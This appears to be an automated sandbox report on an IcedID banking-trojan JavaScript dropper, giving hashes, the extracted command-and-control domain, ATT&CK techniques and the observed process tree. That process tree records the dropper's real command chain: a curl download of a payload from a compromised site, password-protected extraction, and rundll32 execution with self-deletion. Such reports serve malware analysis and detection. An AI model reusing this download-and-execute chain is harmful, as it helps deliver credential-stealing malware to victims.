icedid | da10da7db6553074fe3de65c53de86972b6441df91109ccc2dd8f5172fc38899

Analysis

max time kernel
137s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
14/10/2023, 01:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Document_09_13_617.js
Size 44KB
Sample231014-bsqwesbc86
SHA256 9bb9e0d33d74a56fa1eeaea35fe0c0791303c2f81ea61d1c91a9a5c08f3f1bb7
MD5 4bc2420ce8f7d9a440b8e79e8fc6832a
SHA1 bb9b38ed922757669d05476cfcb6ed45332caee4
SHA512 f98b7553ed13031b0eaa4739e61e485b95b2adbdf68c912caece62b1357e694c80ea7b99f7b3d4f442fe6732555a54c0e0ffa8ea7544c1c2675d6e2a50d1f69b
SSDEEP 384:eYpS664vE0Fpy4OtWbZCoO1ok7jzc56eFs4/EaNBkBNjHADr+L/fM9s+g3CtF2WD:HarbP1Z1EsS0E2RtD1rUCYAEq4t
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

icedid 1638996626 banker loader trojan

Malware Config

Extracted

Family

icedid

Campaign

1638996626

minutozhart.online

Signatures

IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
trojan banker icedid
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4524	quaerat.x

Loads dropped DLL 1 IoCs

pid	Process
3460	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3460	rundll32.exe
3460	rundll32.exe
3460	rundll32.exe
3460	rundll32.exe
3460	rundll32.exe
3460	rundll32.exe
3460	rundll32.exe
3460	rundll32.exe
3408	Process not Found
3408	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3460	rundll32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeRestorePrivilege	4524	quaerat.x
Token: 35	4524	quaerat.x
Token: SeSecurityPrivilege	4524	quaerat.x
Token: SeSecurityPrivilege	4524	quaerat.x

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 228 wrote to memory of 4128	228	wscript.exe	83
PID 228 wrote to memory of 4128	228	wscript.exe	83
PID 228 wrote to memory of 4972	228	wscript.exe	85
PID 228 wrote to memory of 4972	228	wscript.exe	85
PID 228 wrote to memory of 736	228	wscript.exe	87
PID 228 wrote to memory of 736	228	wscript.exe	87
PID 736 wrote to memory of 1440	736	cmd.exe	89
PID 736 wrote to memory of 1440	736	cmd.exe	89
PID 228 wrote to memory of 3456	228	wscript.exe	91
PID 228 wrote to memory of 3456	228	wscript.exe	91
PID 228 wrote to memory of 4508	228	wscript.exe	93
PID 228 wrote to memory of 4508	228	wscript.exe	93
PID 4508 wrote to memory of 4524	4508	cmd.exe	95
PID 4508 wrote to memory of 4524	4508	cmd.exe	95
PID 4508 wrote to memory of 4524	4508	cmd.exe	95
PID 228 wrote to memory of 4676	228	wscript.exe	96
PID 228 wrote to memory of 4676	228	wscript.exe	96
PID 228 wrote to memory of 2568	228	wscript.exe	98
PID 228 wrote to memory of 2568	228	wscript.exe	98
PID 228 wrote to memory of 5080	228	wscript.exe	100
PID 228 wrote to memory of 5080	228	wscript.exe	100
PID 228 wrote to memory of 3460	228	wscript.exe	103
PID 228 wrote to memory of 3460	228	wscript.exe	103
PID 228 wrote to memory of 3836	228	wscript.exe	105
PID 228 wrote to memory of 3836	228	wscript.exe	105

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Document_09_13_617.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\Document_09_13_617.js"
  2⤵
  PID:4128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo curl https://topbeauty.ae/wp-content/plugins/elementor/includes/widgets/traits/1136.7z --output "C:\Users\Admin\AppData\Local\Temp\repellat.k" --ssl-no-revoke --insecure --location > "C:\Users\Admin\AppData\Local\Temp\aut.i.bat"
  2⤵
  PID:4972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\aut.i.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:736
- - C:\Windows\system32\curl.exe
    curl https://topbeauty.ae/wp-content/plugins/elementor/includes/widgets/traits/1136.7z --output "C:\Users\Admin\AppData\Local\Temp\repellat.k" --ssl-no-revoke --insecure --location
    3⤵
    PID:1440
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" https://www.7-zip.org/a/7zr.exe --output "C:\Users\Admin\AppData\Local\Temp\quaerat.x"
  2⤵
  PID:3456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\quaerat.x" -p#4p2h@!eiNtKVN46 e -so "C:\Users\Admin\AppData\Local\Temp\repellat.k" > "C:\Users\Admin\AppData\Local\Temp\aut.iipsa.m""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Users\Admin\AppData\Local\Temp\quaerat.x
    "C:\Users\Admin\AppData\Local\Temp\quaerat.x" -p#4p2h@!eiNtKVN46 e -so "C:\Users\Admin\AppData\Local\Temp\repellat.k"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\quaerat.x"
  2⤵
  PID:4676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\repellat.k"
  2⤵
  PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ren "C:\Users\Admin\AppData\Local\Temp\aut.iipsa.m" "aut.i"
  2⤵
  PID:5080
- C:\Windows\System32\rundll32.exe
  "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\aut.i", scab /k abebas531
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:3460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\aut.i.bat"
  2⤵
  PID:3836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

aut.i

Path C:\Users\Admin\AppData\Local\Temp\aut.i
Size 200KB
SHA256 af00ea4220c4c3a4ef0a9d9d389c7a7932feac85d0837a0cbd4c7de74071be69
MD5 3fd553288a6d354f9af0ebfabfde3b66
SHA1 8fdf7ccf8d3983148b096ac15a097af9ae7db9e7
SHA512 670fd63f213cd37cfff6638d92d16188b70f00fd8760fed0d7be19c4412e2cd37271d0d61570845dd2286c7bc1ea4e8d339aaea07aee8a9b9fceb9abd2612ae8
SSDEEP 6144:CMyHvuuieC+N0UasXQDwKvjKrTewT4GN3tGI:JQuuH993X0vjKmGNdG
MD5 SHA1 SHA512 SSDEEP

Submit Download

aut.i.bat

Path C:\Users\Admin\AppData\Local\Temp\aut.i.bat
Size 183B
SHA256 016a49f419442dc0d9368d5e2bff45372fff3fd43cc808d618d6d92a8d00aca6
MD5 e6c92987420048003b1507646ed17dc2
SHA1 550e10d9ae5671306ef8fff13817c728116441b0
SHA512 a8bddb21561a9546bcddf145774e0e04d826ca3b5588bb213570a37b83810032e0eba3775575f6befb54628399707d710a70569d4a9a52e18c91d6784c3a88f7
MD5 SHA1 SHA512

Submit Download

aut.iipsa.m

Path C:\Users\Admin\AppData\Local\Temp\aut.iipsa.m
Size 200KB
SHA256 af00ea4220c4c3a4ef0a9d9d389c7a7932feac85d0837a0cbd4c7de74071be69
MD5 3fd553288a6d354f9af0ebfabfde3b66
SHA1 8fdf7ccf8d3983148b096ac15a097af9ae7db9e7
SHA512 670fd63f213cd37cfff6638d92d16188b70f00fd8760fed0d7be19c4412e2cd37271d0d61570845dd2286c7bc1ea4e8d339aaea07aee8a9b9fceb9abd2612ae8
SSDEEP 6144:CMyHvuuieC+N0UasXQDwKvjKrTewT4GN3tGI:JQuuH993X0vjKmGNdG
MD5 SHA1 SHA512 SSDEEP

Submit Download

quaerat.x

Path C:\Users\Admin\AppData\Local\Temp\quaerat.x
Size 571KB
SHA256 72c98287b2e8f85ea7bb87834b6ce1ce7ce7f41a8c97a81b307d4d4bf900922b
MD5 58fc6de6c4e5d2fda63565d54feb9e75
SHA1 0586248c327d21efb8787e8ea9f553ddc03493ec
SHA512 e7373a9caa023a22cc1f0f4369c2089a939ae40d26999ab5dcab2c5feb427dc9f51f96d91ef078e843301baa5d9335161a2cf015e09e678d56e615d01c8196df
SSDEEP 12288:FSjMK6lrdOCdlki5Zc0EyR35ksye/X16PJz5tghj+:FSjieCd+i5s+Jks1foxz5Whj+
MD5 SHA1 SHA512 SSDEEP

Submit Download

quaerat.x

Path C:\Users\Admin\AppData\Local\Temp\quaerat.x
Size 571KB
SHA256 72c98287b2e8f85ea7bb87834b6ce1ce7ce7f41a8c97a81b307d4d4bf900922b
MD5 58fc6de6c4e5d2fda63565d54feb9e75
SHA1 0586248c327d21efb8787e8ea9f553ddc03493ec
SHA512 e7373a9caa023a22cc1f0f4369c2089a939ae40d26999ab5dcab2c5feb427dc9f51f96d91ef078e843301baa5d9335161a2cf015e09e678d56e615d01c8196df
SSDEEP 12288:FSjMK6lrdOCdlki5Zc0EyR35ksye/X16PJz5tghj+:FSjieCd+i5s+Jks1foxz5Whj+
MD5 SHA1 SHA512 SSDEEP

Submit Download

repellat.k

Path C:\Users\Admin\AppData\Local\Temp\repellat.k
Size 81KB
SHA256 c2c40c1e397f4356ba3b7a37f38211330271b8e2651377bf94e172cad9225902
MD5 b0911d9fa2eb70dd4b6d12e3df116ae0
SHA1 26e92feaa442dcce86018c78d91b157239084b27
SHA512 fda8ac121c549dd4753ab73a7709b2a7571fc547656802134f6fce91aff3b208964b1aee196a76c006d07b6567282cad580c889b9534e10ab1635cd75d2bccb4
SSDEEP 1536:KpDqyMOHuh1rOdVkNAEcc5M3EpAF83Lj53an8e/PPW2nexWVcOvEd9Q2XCXt:QXHuhgdVkiEcSIFF8b4n8e/Pu2cWTvsw
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3408-12-0x00007FFDED281000-0x00007FFDED282000-memory.dmp

Download

memory/3408-13-0x0000000180000000-0x0000000180009000-memory.dmp

Download

memory/3408-20-0x00007FFDED281000-0x00007FFDED282000-memory.dmp

Download

memory/3460-11-0x00000244B7970000-0x00000244B7974000-memory.dmp

Download